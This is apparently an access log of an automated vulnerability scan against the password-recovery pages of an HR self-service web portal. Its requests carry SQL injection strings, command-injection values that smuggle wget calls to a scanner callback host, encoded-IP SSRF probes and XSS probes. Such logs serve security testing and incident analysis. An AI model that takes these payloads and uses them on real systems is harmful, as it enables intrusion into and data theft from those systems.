[05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error%22%27%2F%40%3D*%5B%5D%28%29&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=HCL4ppsc4nbuggyRandomValue&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=HCL4ppsc4nbuggyRandomValue&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\\'%20having%201=1-- HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\\'%20having%201=1-- HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%22%3BSELECT+1%3B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%22%3BSELECT+1%3B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%22%3BSELECT+1%3B&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2560wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D153%2560&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2560wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D153%2560&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error%22%27%2F%40%3D*%5B%5D%28%29&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:27 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=HCL4ppsc4nbuggyRandomValue&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswdablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWFXSSProbe%27%22%29%2F%3E%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWFXSSProbe%27%22%29%2F%3E%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+*+from+sys.dba_users-- HTTP/1.1" 200 6707 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+*+from+sys.dba_users-- HTTP/1.1" 200 6707 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2526%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D154&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2526%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D154&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D155&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D155&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%00&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%00&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWFXSSProbe%27%22%29%2F%3E%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%29+having+1%3D1-- HTTP/1.1" 200 6689 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%29+having+1%3D1-- HTTP/1.1" 200 6689 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd1+having+1%3D1--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd1+having+1%3D1--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd1+having+1%3D1--+&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:30 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%257C%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D156&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%257C%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D156&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F3232235620%3A8371%2FAppScanMsg.html%3FvarId%3D157&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F3232235620%3A8371%2FAppScanMsg.html%3FvarId%3D157&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_errorWFXSSProbe%27%22%29%2F%3E&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_errorWFXSSProbe%27%22%29%2F%3E&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%a5'%20having%201=1-- HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%a5'%20having%201=1-- HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%24%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D158%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%24%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D158%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:32 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0x00C0.0x0000A8.0x000.0x0000064%3A8371%2FAppScanMsg.html%3FvarId%3D159&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0x00C0.0x0000A8.0x000.0x0000064%3A8371%2FAppScanMsg.html%3FvarId%3D159&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%26&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%26&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ablcprobepa00000Cab&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_errorWFXSSProbe%27%22%29%2F%3E&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - 